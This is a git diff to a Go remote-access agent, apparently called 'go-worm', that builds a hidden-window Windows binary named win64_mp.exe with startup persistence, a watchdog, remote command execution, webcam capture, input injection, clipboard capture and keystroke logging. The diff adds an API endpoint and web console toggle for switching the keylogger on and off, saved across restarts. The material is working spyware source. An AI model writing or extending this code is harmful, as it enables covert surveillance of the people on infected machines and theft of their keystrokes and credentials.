diff --git a/VERSION b/VERSION new file mode 100644 index 0000000..3eefcb9 --- /dev/null +++ b/VERSION @@ -0,0 +1 @@ +1.0.0 diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 0d37bb5..d576869 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -97,6 +97,7 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame) mux.HandleFunc("/api/v1/exec", a.handleExec) mux.HandleFunc("/api/v1/startup", a.handleStartup) + mux.HandleFunc("/api/v1/settings", a.handleSettings) mux.HandleFunc("/api/v1/input/click", a.handleClick) mux.HandleFunc("/api/v1/input/key", a.handleKey) mux.HandleFunc("/api/v1/input/text", a.handleText) diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index ac970e1..25574d5 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -56,6 +56,7 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) { "uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(), "agent_version": config.Version, "listen_address": a.addr, "startup_enabled": startup.Enabled(), + "klogging": keylog.Running(), }) } @@ -80,6 +81,38 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) { helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()}) } +func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case http.MethodGet: + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "klogging": config.KeylogEnabled(), + "klogging_running": keylog.Running(), + }) + case http.MethodPut: + r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax) + defer r.Body.Close() + var body struct { + Klogging *bool `json:"klogging"` + } + if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Klogging == nil { + helpers.WriteError(w, http.StatusBadRequest, "klogging is required") + return + } + if err := keylog.SetEnabled(*body.Klogging); err != nil { + helpers.Log.Printf("klogging set: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not update klogging") + return + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{ + "klogging": config.KeylogEnabled(), + "klogging_running": keylog.Running(), + }) + default: + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } +} + func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) { switch r.Method { case http.MethodGet: diff --git a/lib/agent/web.go b/lib/agent/web.go index 34b85dc..142bd4e 100644 --- a/lib/agent/web.go +++ b/lib/agent/web.go @@ -1,9 +1,11 @@ package agent import ( + "bytes" "embed" "net/http" + "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) @@ -33,6 +35,9 @@ func (a *Agent) handleWeb(w http.ResponseWriter, r *http.Request) { helpers.WriteError(w, http.StatusInternalServerError, "ui asset missing") return } + if name == "web/index.html" { + data = bytes.ReplaceAll(data, []byte("{{VERSION}}"), []byte(config.Version)) + } w.Header().Set("Content-Type", contentType) w.Header().Set("Cache-Control", "no-cache") _, _ = w.Write(data) diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index e7e330a..775faa4 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -15,6 +15,9 @@ const startupState = document.getElementById("startup-state"); const startupAdd = document.getElementById("startup-add"); const startupRemove = document.getElementById("startup-remove"); + const keylogState = document.getElementById("keylog-state"); + const keylogEnable = document.getElementById("keylog-enable"); + const keylogDisable = document.getElementById("keylog-disable"); const videoCanvas = document.getElementById("video-canvas"); const videoMeta = document.getElementById("video-meta"); const videoStart = document.getElementById("video-start"); @@ -118,6 +121,10 @@ async function loadStatus() { const res = await api("/api/v1/status"); const data = await res.json(); + const verEl = document.getElementById("app-version"); + if (verEl && data.agent_version) { + verEl.textContent = data.agent_version; + } const fields = [ ["Hostname", data.hostname], ["User", data.user], @@ -128,10 +135,12 @@ ["Uptime", `${data.uptime_seconds}s`], ["Local IPs", (data.local_ips || []).join(", ") || "—"], ["Startup", data.startup_enabled ? "enabled" : "disabled"], + ["klogging", data.klogging ? "on" : "off"], ]; setStartup(Boolean(data.startup_enabled)); currentListen = data.listen_address || ""; syncUpdateMeta(); + loadSettings().catch((err) => showError(err.message)); statusFields.replaceChildren( ...fields.map(([label, value]) => { const item = document.createElement("div"); @@ -303,6 +312,29 @@ startupRemove.disabled = !enabled; } + function setKeylog(enabled) { + keylogState.textContent = enabled ? "klogging: on" : "klogging: off"; + keylogEnable.disabled = enabled; + keylogDisable.disabled = !enabled; + } + + async function loadSettings() { + const res = await api("/api/v1/settings"); + const data = await res.json(); + setKeylog(Boolean(data.klogging)); + } + + async function setKeylogEnabled(enabled) { + const res = await api("/api/v1/settings", { + method: "PUT", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ klogging: enabled }), + }); + const data = await res.json(); + setKeylog(Boolean(data.klogging)); + loadStatus().catch((err) => showError(err.message)); + } + async function setStartupEnabled(enabled) { const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" }); const data = await res.json(); @@ -682,6 +714,9 @@ if (button.dataset.tab === "logs") { listKeylogs().catch((err) => showError(err.message)); } + if (button.dataset.tab === "settings") { + loadSettings().catch((err) => showError(err.message)); + } }); }); @@ -694,6 +729,12 @@ startupRemove.addEventListener("click", () => { setStartupEnabled(false).catch((err) => showError(err.message)); }); + keylogEnable.addEventListener("click", () => { + setKeylogEnabled(true).catch((err) => showError(err.message)); + }); + keylogDisable.addEventListener("click", () => { + setKeylogEnabled(false).catch((err) => showError(err.message)); + }); document.getElementById("file-list").addEventListener("click", () => { listFiles(pathInput.value.trim()).catch((err) => showError(err.message)); }); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index faf4f4c..f724392 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -122,6 +122,14 @@ font-size: 1.05rem; line-height: 1.2; } + .brand-text .ver { + margin-left: 0.45rem; + font-size: 0.78rem; + font-weight: 500; + font-family: var(--mono); + color: var(--text-muted); + letter-spacing: 0; + } .brand-text p { margin-top: 0.1rem; font-size: 0.78rem; @@ -711,7 +719,7 @@
-

win64_mp

+

win64_mp {{VERSION}}

Local agent console

@@ -728,6 +736,7 @@ + @@ -909,6 +918,21 @@

+
+
+
+

Settings

+

Toggle host-side hooks. Changes persist across restarts.

+
+
+
+ klogging: — + + +
+

klogging runs in-process. If the agent is crashing, leave this off.

+
+
diff --git a/lib/config/config.go b/lib/config/config.go index 9901040..f7a11ac 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -8,8 +8,10 @@ import ( "time" ) +// Version is the agent build version. scripts/build.sh overwrites this via -X. +var Version = "1.0.0" + const ( - Version = "1.0.0" DefaultAddr = "0.0.0.0:5032" MutexName = "win64_mp_Mutex" RestartDelay = 3 * time.Second @@ -32,6 +34,7 @@ const ( KeylogSubdir = "keystrokes" LogsSubdir = "logs" ClipboardSubdir = "clipboard" + SettingsFileName = "settings.json" WatchdogTaskName = "win64_mp_watchdog" DefaultKeylogRetentionDays = 7 AuthUser = "admin" @@ -46,6 +49,13 @@ func EnvOr(name, fallback string) string { } func KeylogEnabled() bool { + if on, ok := readKeylogPref(); ok { + return on + } + return envKeylogEnabled() +} + +func envKeylogEnabled() bool { switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) { case "0", "false", "no", "off": return false diff --git a/lib/config/settings.go b/lib/config/settings.go new file mode 100644 index 0000000..2bb6d4a --- /dev/null +++ b/lib/config/settings.go @@ -0,0 +1,75 @@ +package config + +import ( + "encoding/json" + "os" + "path/filepath" +) + +type fileSettings struct { + Klogging *bool `json:"klogging,omitempty"` + KeylogEnabled *bool `json:"keylog_enabled,omitempty"` // legacy +} + +func settingsPath() (string, error) { + dir, err := InstallDir() + if err != nil { + return "", err + } + return filepath.Join(dir, SettingsFileName), nil +} + +func readKeylogPref() (bool, bool) { + s, err := loadFileSettings() + if err != nil { + return false, false + } + if s.Klogging != nil { + return *s.Klogging, true + } + if s.KeylogEnabled != nil { + return *s.KeylogEnabled, true + } + return false, false +} + +func SetKeylogEnabled(on bool) error { + s, err := loadFileSettings() + if err != nil && !os.IsNotExist(err) { + s = fileSettings{} + } + s.Klogging = &on + s.KeylogEnabled = nil + return saveFileSettings(s) +} + +func loadFileSettings() (fileSettings, error) { + path, err := settingsPath() + if err != nil { + return fileSettings{}, err + } + raw, err := os.ReadFile(path) + if err != nil { + return fileSettings{}, err + } + var s fileSettings + if err := json.Unmarshal(raw, &s); err != nil { + return fileSettings{}, err + } + return s, nil +} + +func saveFileSettings(s fileSettings) error { + path, err := settingsPath() + if err != nil { + return err + } + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + return err + } + raw, err := json.Marshal(s) + if err != nil { + return err + } + return os.WriteFile(path, append(raw, '\n'), 0o600) +} diff --git a/lib/config/settings_test.go b/lib/config/settings_test.go new file mode 100644 index 0000000..bcb01d9 --- /dev/null +++ b/lib/config/settings_test.go @@ -0,0 +1,45 @@ +package config + +import ( + "encoding/json" + "os" + "path/filepath" + "testing" +) + +func TestKeylogPrefOverridesEnv(t *testing.T) { + base := t.TempDir() + t.Setenv("XDG_CONFIG_HOME", base) + t.Setenv("APPDATA", base) + t.Setenv("KEYLOG_ENABLED", "1") + + if !KeylogEnabled() { + t.Fatal("expected env default on") + } + if err := SetKeylogEnabled(false); err != nil { + t.Fatal(err) + } + if KeylogEnabled() { + t.Fatal("pref should disable keylog") + } + if err := SetKeylogEnabled(true); err != nil { + t.Fatal(err) + } + if !KeylogEnabled() { + t.Fatal("pref should enable keylog") + } + raw, err := os.ReadFile(filepath.Join(base, AppDataDir, SettingsFileName)) + if err != nil { + t.Fatal(err) + } + var s fileSettings + if err := json.Unmarshal(raw, &s); err != nil { + t.Fatal(err) + } + if s.Klogging == nil || !*s.Klogging { + t.Fatalf("saved settings = %s", raw) + } + if s.KeylogEnabled != nil { + t.Fatalf("legacy keylog_enabled should be dropped, got %s", raw) + } +} diff --git a/lib/keylog/keylog.go b/lib/keylog/keylog.go index 2fba364..6a6ea88 100644 --- a/lib/keylog/keylog.go +++ b/lib/keylog/keylog.go @@ -17,6 +17,23 @@ var ( writerWG sync.WaitGroup ) +func Running() bool { + mu.Lock() + defer mu.Unlock() + return running +} + +func SetEnabled(on bool) error { + if err := config.SetKeylogEnabled(on); err != nil { + return err + } + if !on { + Stop() + return nil + } + return Start() +} + func Start() error { if !config.KeylogEnabled() { return nil diff --git a/lib/openapi/spec.go b/lib/openapi/spec.go index 7a07500..d451771 100644 --- a/lib/openapi/spec.go +++ b/lib/openapi/spec.go @@ -247,6 +247,25 @@ func Spec() map[string]any { }), }, }, + "/api/v1/settings": map[string]any{ + "get": map[string]any{ + "summary": "Read agent settings", + "operationId": "getSettings", + "responses": auth(map[string]any{ + "200": okJSON("Current settings", ref("Settings")), + }), + }, + "put": map[string]any{ + "summary": "Update agent settings", + "operationId": "updateSettings", + "description": "Persist klogging on/off. Disabling unhooks the keyboard hook immediately.", + "requestBody": jsonBody(ref("SettingsUpdate")), + "responses": auth(map[string]any{ + "200": okJSON("Updated settings", ref("Settings")), + "400": errResp("Invalid body"), + }), + }, + }, "/api/v1/update": map[string]any{ "post": map[string]any{ "summary": "Deploy uploaded agent executable on alternate port", @@ -348,15 +367,16 @@ func Spec() map[string]any { "Status": map[string]any{ "type": "object", "properties": map[string]any{ - "os": map[string]string{"type": "string"}, - "architecture": map[string]string{"type": "string"}, - "user": map[string]string{"type": "string"}, - "hostname": map[string]string{"type": "string"}, - "uptime_seconds": map[string]any{"type": "integer", "format": "int64"}, - "local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}}, - "agent_version": map[string]string{"type": "string"}, - "listen_address": map[string]string{"type": "string"}, - "startup_enabled": map[string]any{"type": "boolean"}, + "os": map[string]string{"type": "string"}, + "architecture": map[string]string{"type": "string"}, + "user": map[string]string{"type": "string"}, + "hostname": map[string]string{"type": "string"}, + "uptime_seconds": map[string]any{"type": "integer", "format": "int64"}, + "local_ips": map[string]any{"type": "array", "items": map[string]string{"type": "string"}}, + "agent_version": map[string]string{"type": "string"}, + "listen_address": map[string]string{"type": "string"}, + "startup_enabled": map[string]any{"type": "boolean"}, + "klogging": map[string]any{"type": "boolean"}, }, }, "FileItem": map[string]any{ @@ -418,9 +438,23 @@ func Spec() map[string]any { }, }, "StartupState": map[string]any{ - "type": "object", + "type": "object", "properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}}, }, + "Settings": map[string]any{ + "type": "object", + "properties": map[string]any{ + "klogging": map[string]any{"type": "boolean"}, + "klogging_running": map[string]any{"type": "boolean"}, + }, + }, + "SettingsUpdate": map[string]any{ + "type": "object", + "required": []string{"klogging"}, + "properties": map[string]any{ + "klogging": map[string]any{"type": "boolean"}, + }, + }, "ClickRequest": map[string]any{ "type": "object", "required": []string{"x", "y", "button"}, "properties": map[string]any{ diff --git a/lib/openapi/spec_test.go b/lib/openapi/spec_test.go index 86ce2db..d60ff2a 100644 --- a/lib/openapi/spec_test.go +++ b/lib/openapi/spec_test.go @@ -28,4 +28,18 @@ func TestSpec(t *testing.T) { if !ok || len(schemas) < 10 { t.Fatalf("expected schemas, got %d", len(schemas)) } + status, ok := schemas["Status"].(map[string]any) + if !ok { + t.Fatal("missing Status schema") + } + props, ok := status["properties"].(map[string]any) + if !ok { + t.Fatal("missing Status properties") + } + if _, ok := props["klogging"]; !ok { + t.Fatal("Status missing klogging") + } + if _, ok := props["keylog_enabled"]; ok { + t.Fatal("Status still has keylog_enabled") + } } diff --git a/scripts/build.sh b/scripts/build.sh index 16ffdc7..52d71cc 100755 --- a/scripts/build.sh +++ b/scripts/build.sh @@ -4,7 +4,22 @@ set -euo pipefail cd "$(dirname "$0")/.." out="${1:-win64_mp.exe}" -GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" . + +version_file="VERSION" +if [[ ! -f "$version_file" ]]; then + echo "1.0.0" > "$version_file" +fi +old="$(tr -d '[:space:]' < "$version_file")" +if [[ ! "$old" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then + echo "bad VERSION: $old" >&2 + exit 1 +fi +IFS=. read -r major minor patch <<< "$old" +ver="${major}.${minor}.$((10#$patch + 1))" +printf '%s\n' "$ver" > "$version_file" + +ldflags="-s -w -H windowsgui -X tea.chunkbyte.com/kato/go-worm/lib/config.Version=${ver}" +GOOS=windows GOARCH=amd64 go build -ldflags "$ldflags" -o "$out" . # Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped. python3 - "$out" <<'PY' import struct, sys @@ -24,4 +39,4 @@ with open(path, "r+b") as f: f.write(struct.pack("